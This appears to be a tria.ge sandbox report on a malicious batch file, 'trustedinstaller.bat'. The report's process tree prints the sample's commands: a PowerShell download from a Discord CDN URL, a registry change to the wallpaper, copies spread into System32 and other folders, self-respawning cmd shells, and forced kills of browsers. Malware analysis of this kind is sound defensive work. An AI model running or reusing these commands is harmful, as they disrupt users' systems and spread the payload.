Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
136s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
23/07/2024, 19:42
Static task
static1
Behavioral task
behavioral1
Sample
trustedinstaller.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
trustedinstaller.bat
Resource
win10v2004-20240709-en
General
-
Target
trustedinstaller.bat
-
Size
3KB
-
MD5
a342c02d8b85d351af8871776fc67dd7
-
SHA1
4b7c7e5697cee05354f0902a3c40d35c7c892a7d
-
SHA256
9802eda5439017e0b2fe42d53bbeac75176c52b4383e33d1a4cb445a00b16b8b
-
SHA512
7ae1f71e87dc52c2dd640c025ca623304e28717119c52107163d905e8f17d6a20de243e6a1cf8f75ab9e797224b47eae199a669e209998620625b20c099657d5
Malware Config
Extracted
https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 5 4172 powershell.exe 12 1564 powershell.exe 19 448 powershell.exe 20 5216 powershell.exe -
pid Process 3860 powershell.exe 3264 powershell.exe 4172 powershell.exe 216 powershell.exe 2276 powershell.exe 1488 powershell.exe 448 powershell.exe 2312 powershell.exe 5528 powershell.exe 3588 powershell.exe 1452 powershell.exe 3972 powershell.exe 3744 powershell.exe 5208 powershell.exe 5848 powershell.exe 3384 powershell.exe 564 powershell.exe 4308 powershell.exe 3392 powershell.exe 3320 powershell.exe 4480 powershell.exe 5332 powershell.exe 4172 powershell.exe 1624 powershell.exe 5200 powershell.exe 5512 powershell.exe 1564 powershell.exe 1408 powershell.exe 5216 powershell.exe 5224 powershell.exe 5396 powershell.exe -
Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\System32\trustedinstaller.bat cmd.exe File created C:\Windows\System32\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\System32\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\System32\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\System32\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\System32\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\System32\trustedinstaller.bat cmd.exe -
Sets desktop wallpaper using registry 2 TTPs 31 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png" reg.exe -
Drops file in Program Files directory 7 IoCs
description ioc Process File created C:\Program Files\BatchFile\trustedinstaller.bat cmd.exe File opened for modification C:\Program Files\BatchFile\trustedinstaller.bat cmd.exe File opened for modification C:\Program Files\BatchFile\trustedinstaller.bat cmd.exe File opened for modification C:\Program Files\BatchFile\trustedinstaller.bat cmd.exe File opened for modification C:\Program Files\BatchFile\trustedinstaller.bat cmd.exe File opened for modification C:\Program Files\BatchFile\trustedinstaller.bat cmd.exe File opened for modification C:\Program Files\BatchFile\trustedinstaller.bat cmd.exe -
Drops file in Windows directory 7 IoCs
description ioc Process File opened for modification C:\Windows\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\trustedinstaller.bat cmd.exe File created C:\Windows\trustedinstaller.bat cmd.exe File opened for modification C:\Windows\trustedinstaller.bat cmd.exe -
Delays execution with timeout.exe 15 IoCs
pid Process 5480 timeout.exe 2608 timeout.exe 224 timeout.exe 5732 timeout.exe 2240 timeout.exe 5532 timeout.exe 5136 timeout.exe 2232 timeout.exe 4716 timeout.exe 4376 timeout.exe 2628 timeout.exe 2732 timeout.exe 5960 timeout.exe 5844 timeout.exe 924 timeout.exe -
Kills process with taskkill 30 IoCs
pid Process 4236 taskkill.exe 5300 taskkill.exe 4712 taskkill.exe 3496 taskkill.exe 6076 taskkill.exe 5984 taskkill.exe 5160 taskkill.exe 4924 taskkill.exe 3468 taskkill.exe 5932 taskkill.exe 3048 taskkill.exe 5196 taskkill.exe 5972 taskkill.exe 5600 taskkill.exe 5780 taskkill.exe 5032 taskkill.exe 1128 taskkill.exe 2756 taskkill.exe 1824 taskkill.exe 3500 taskkill.exe 5084 taskkill.exe 1832 taskkill.exe 1540 taskkill.exe 5736 taskkill.exe 4864 taskkill.exe 2308 taskkill.exe 4836 taskkill.exe 5312 taskkill.exe 5244 taskkill.exe 6052 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4172 powershell.exe 4172 powershell.exe 1564 powershell.exe 3384 powershell.exe 3588 powershell.exe 564 powershell.exe 1408 powershell.exe 564 powershell.exe 1408 powershell.exe 1564 powershell.exe 1564 powershell.exe 2276 powershell.exe 2276 powershell.exe 3384 powershell.exe 3384 powershell.exe 564 powershell.exe 3588 powershell.exe 3588 powershell.exe 1408 powershell.exe 2276 powershell.exe 3860 powershell.exe 3860 powershell.exe 3264 powershell.exe 3264 powershell.exe 1488 powershell.exe 1488 powershell.exe 3860 powershell.exe 3860 powershell.exe 448 powershell.exe 4308 powershell.exe 4308 powershell.exe 448 powershell.exe 1452 powershell.exe 1452 powershell.exe 3972 powershell.exe 3972 powershell.exe 4172 powershell.exe 4172 powershell.exe 1488 powershell.exe 3392 powershell.exe 3392 powershell.exe 3264 powershell.exe 3264 powershell.exe 1624 powershell.exe 1624 powershell.exe 1452 powershell.exe 216 powershell.exe 216 powershell.exe 448 powershell.exe 448 powershell.exe 3320 powershell.exe 3320 powershell.exe 4308 powershell.exe 4308 powershell.exe 3744 powershell.exe 3744 powershell.exe 1624 powershell.exe 1624 powershell.exe 3972 powershell.exe 3972 powershell.exe 2312 powershell.exe 2312 powershell.exe 4480 powershell.exe 4480 powershell.exe -
Suspicious use of AdjustPrivilegeToken 61 IoCs
description pid Process Token: SeDebugPrivilege 4172 powershell.exe Token: SeDebugPrivilege 1832 taskkill.exe Token: SeDebugPrivilege 1564 powershell.exe Token: SeDebugPrivilege 3384 powershell.exe Token: SeDebugPrivilege 3588 powershell.exe Token: SeDebugPrivilege 1408 powershell.exe Token: SeDebugPrivilege 564 powershell.exe Token: SeDebugPrivilege 2276 powershell.exe Token: SeDebugPrivilege 3860 powershell.exe Token: SeDebugPrivilege 4236 taskkill.exe Token: SeDebugPrivilege 4924 taskkill.exe Token: SeDebugPrivilege 3264 powershell.exe Token: SeDebugPrivilege 4864 taskkill.exe Token: SeDebugPrivilege 1488 powershell.exe Token: SeDebugPrivilege 4308 powershell.exe Token: SeDebugPrivilege 448 powershell.exe Token: SeDebugPrivilege 1452 powershell.exe Token: SeDebugPrivilege 2308 taskkill.exe Token: SeDebugPrivilege 3972 powershell.exe Token: SeDebugPrivilege 4172 powershell.exe Token: SeDebugPrivilege 3392 powershell.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeDebugPrivilege 3320 powershell.exe Token: SeDebugPrivilege 3744 powershell.exe Token: SeDebugPrivilege 4480 powershell.exe Token: SeDebugPrivilege 2312 powershell.exe Token: SeDebugPrivilege 5200 powershell.exe Token: SeDebugPrivilege 5224 powershell.exe Token: SeDebugPrivilege 5216 powershell.exe Token: SeDebugPrivilege 5396 powershell.exe Token: SeDebugPrivilege 5208 powershell.exe Token: SeDebugPrivilege 5332 powershell.exe Token: SeDebugPrivilege 5528 powershell.exe Token: SeDebugPrivilege 5512 powershell.exe Token: SeDebugPrivilege 5848 powershell.exe Token: SeDebugPrivilege 1128 taskkill.exe Token: SeDebugPrivilege 2756 taskkill.exe Token: SeDebugPrivilege 3468 taskkill.exe Token: SeDebugPrivilege 5932 taskkill.exe Token: SeDebugPrivilege 4836 taskkill.exe Token: SeDebugPrivilege 5312 taskkill.exe Token: SeDebugPrivilege 3048 taskkill.exe Token: SeDebugPrivilege 4712 taskkill.exe Token: SeDebugPrivilege 1540 taskkill.exe Token: SeDebugPrivilege 5196 taskkill.exe Token: SeDebugPrivilege 5244 taskkill.exe Token: SeDebugPrivilege 3496 taskkill.exe Token: SeDebugPrivilege 6052 taskkill.exe Token: SeDebugPrivilege 5736 taskkill.exe Token: SeDebugPrivilege 1824 taskkill.exe Token: SeDebugPrivilege 5300 taskkill.exe Token: SeDebugPrivilege 3500 taskkill.exe Token: SeDebugPrivilege 6076 taskkill.exe Token: SeDebugPrivilege 5984 taskkill.exe Token: SeDebugPrivilege 5160 taskkill.exe Token: SeDebugPrivilege 5084 taskkill.exe Token: SeDebugPrivilege 5780 taskkill.exe Token: SeDebugPrivilege 5600 taskkill.exe Token: SeDebugPrivilege 5972 taskkill.exe Token: SeDebugPrivilege 5032 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2644 wrote to memory of 4172 2644 cmd.exe 153 PID 2644 wrote to memory of 4172 2644 cmd.exe 153 PID 2644 wrote to memory of 4616 2644 cmd.exe 89 PID 2644 wrote to memory of 4616 2644 cmd.exe 89 PID 2644 wrote to memory of 2088 2644 cmd.exe 90 PID 2644 wrote to memory of 2088 2644 cmd.exe 90 PID 2644 wrote to memory of 3836 2644 cmd.exe 91 PID 2644 wrote to memory of 3836 2644 cmd.exe 91 PID 2644 wrote to memory of 5116 2644 cmd.exe 92 PID 2644 wrote to memory of 5116 2644 cmd.exe 92 PID 2644 wrote to memory of 3700 2644 cmd.exe 93 PID 2644 wrote to memory of 3700 2644 cmd.exe 93 PID 2644 wrote to memory of 2920 2644 cmd.exe 94 PID 2644 wrote to memory of 2920 2644 cmd.exe 94 PID 2644 wrote to memory of 3160 2644 cmd.exe 95 PID 2644 wrote to memory of 3160 2644 cmd.exe 95 PID 2644 wrote to memory of 1120 2644 cmd.exe 96 PID 2644 wrote to memory of 1120 2644 cmd.exe 96 PID 2644 wrote to memory of 1832 2644 cmd.exe 125 PID 2644 wrote to memory of 1832 2644 cmd.exe 125 PID 2920 wrote to memory of 1564 2920 cmd.exe 98 PID 2920 wrote to memory of 1564 2920 cmd.exe 98 PID 3700 wrote to memory of 3384 3700 cmd.exe 99 PID 3700 wrote to memory of 3384 3700 cmd.exe 99 PID 5116 wrote to memory of 3588 5116 cmd.exe 100 PID 5116 wrote to memory of 3588 5116 cmd.exe 100 PID 3836 wrote to memory of 564 3836 cmd.exe 102 PID 3836 wrote to memory of 564 3836 cmd.exe 102 PID 1120 wrote to memory of 1408 1120 cmd.exe 103 PID 1120 wrote to memory of 1408 1120 cmd.exe 103 PID 3160 wrote to memory of 2276 3160 cmd.exe 224 PID 3160 wrote to memory of 2276 3160 cmd.exe 224 PID 3700 wrote to memory of 3212 3700 cmd.exe 106 PID 3700 wrote to memory of 3212 3700 cmd.exe 106 PID 1120 wrote to memory of 4332 1120 cmd.exe 171 PID 1120 wrote to memory of 4332 1120 cmd.exe 171 PID 3836 wrote to memory of 4836 3836 cmd.exe 222 PID 3836 wrote to memory of 4836 3836 cmd.exe 222 PID 5116 wrote to memory of 2452 5116 cmd.exe 109 PID 5116 wrote to memory of 2452 5116 cmd.exe 109 PID 2920 wrote to memory of 2188 2920 cmd.exe 110 PID 2920 wrote to memory of 2188 2920 cmd.exe 110 PID 5116 wrote to memory of 2280 5116 cmd.exe 111 PID 5116 wrote to memory of 2280 5116 cmd.exe 111 PID 3700 wrote to memory of 3404 3700 cmd.exe 112 PID 3700 wrote to memory of 3404 3700 cmd.exe 112 PID 3160 wrote to memory of 2628 3160 cmd.exe 113 PID 3160 wrote to memory of 2628 3160 cmd.exe 113 PID 1120 wrote to memory of 3340 1120 cmd.exe 114 PID 1120 wrote to memory of 3340 1120 cmd.exe 114 PID 2920 wrote to memory of 3168 2920 cmd.exe 200 PID 2920 wrote to memory of 3168 2920 cmd.exe 200 PID 3160 wrote to memory of 3568 3160 cmd.exe 116 PID 3160 wrote to memory of 3568 3160 cmd.exe 116 PID 3836 wrote to memory of 3556 3836 cmd.exe 181 PID 3836 wrote to memory of 3556 3836 cmd.exe 181 PID 3836 wrote to memory of 3564 3836 cmd.exe 118 PID 3836 wrote to memory of 3564 3836 cmd.exe 118 PID 3836 wrote to memory of 3908 3836 cmd.exe 119 PID 3836 wrote to memory of 3908 3836 cmd.exe 119 PID 3160 wrote to memory of 2964 3160 cmd.exe 120 PID 3160 wrote to memory of 2964 3160 cmd.exe 120 PID 3836 wrote to memory of 3992 3836 cmd.exe 121 PID 3836 wrote to memory of 3992 3836 cmd.exe 121
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\trustedinstaller.bat"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4172
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f2⤵
- Sets desktop wallpaper using registry
PID:4616
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters2⤵PID:2088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Program Files\BatchFile\trustedinstaller.bat"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:564
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f3⤵
- Sets desktop wallpaper using registry
PID:4836
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters3⤵PID:3556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Program Files\BatchFile\trustedinstaller.bat"3⤵PID:3564
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3392
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5740
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:1272
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\System32\trustedinstaller.bat"3⤵PID:3908
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3264
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5064
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5672
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\BatchFile\trustedinstaller.bat"3⤵PID:3992
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3320
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:4904
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5360
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\PerfLogs\trustedinstaller.bat"3⤵PID:1692
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3860
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:4332
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5988
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\trustedinstaller.bat"3⤵PID:4260
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:448
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:1128
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:5284
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\trustedinstaller.bat"3⤵PID:1160
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1488
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f4⤵
- Sets desktop wallpaper using registry
PID:5700
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵PID:1980
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "chrome.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4924
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "firefox.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2756
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "msedge.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5196
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "opera.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5736
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "brave.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5160
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im "vivaldi.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5032
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:5844
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:2732
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:5732
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\System32\trustedinstaller.bat"2⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/1210857012976680982/1265375003356958820/Untitled11_20240723222812.png?ex=66a147ce&is=669ff64e&hm=a5ecf1bc511891fb8e579dce5e1c76df281f970a2c4b3e920c861ca27b0b0ef7&', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3588
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f3⤵
